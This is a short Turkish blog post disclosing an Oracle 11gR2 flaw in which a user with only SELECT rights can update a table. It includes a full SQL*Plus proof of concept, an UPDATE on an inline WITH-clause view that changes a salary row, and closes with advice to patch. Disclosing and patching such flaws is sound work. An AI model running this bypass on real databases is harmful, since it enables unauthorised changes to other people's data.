Update yetkisi olmadan tablo güncelleme
11gr2 versiyonlarında test ettiğim bir sorundan bahsedeceğim. Bir tabloda select hakkı olan her kullanıcı o tabloyu güncelleyebiliyor. Nasıl mı ?
Aşağıdaki adımları veritabanınında deneyebilirsiniz. Güncelleme yapıldığını göreceksiniz.
[oracle@oradb ~]$ sqlplus / as sysdba SQL*Plus: Release 11.2.0.3.0 Production on Wed May 6 16:08:48 2015 Copyright (c) 1982, 2011, Oracle. All rights reserved. Connected to: Oracle Database 11g Enterprise Edition Release 11.2.0.3.0 - 64bit Production With the Partitioning, Real Application Clusters, Automatic Storage Management, OLAP, Data Mining and Real Application Testing options SQL> create user test identified by test; User created. SQL> grant create session,create table to test; Grant succeeded. SQL> grant select on scott.emp to test; Grant succeeded. SQL> exit Disconnected from Oracle Database 11g Enterprise Edition Release 11.2.0.3.0 - 64bit Production With the Partitioning, Real Application Clusters, Automatic Storage Management, OLAP, Data Mining and Real Application Testing options [oracle@oradb ~]$ sqlplus test/test SQL*Plus: Release 11.2.0.3.0 Production on Wed May 6 16:10:05 2015 Copyright (c) 1982, 2011, Oracle. All rights reserved. Connected to: Oracle Database 11g Enterprise Edition Release 11.2.0.3.0 - 64bit Production With the Partitioning, Real Application Clusters, Automatic Storage Management, OLAP, Data Mining and Real Application Testing options SQL> update (with tmp as (select * from scott.emp) select * from tmp) set sal=1500 where ename='ALLEN'; 1 row updated. SQL> commit; Commit complete.
Bu güvenlik açığını gidermek için 11.2.0.4.5 (en son yama seviyesi ve SPU içeren) yada daha ileri bir versiyonuna yükseltin.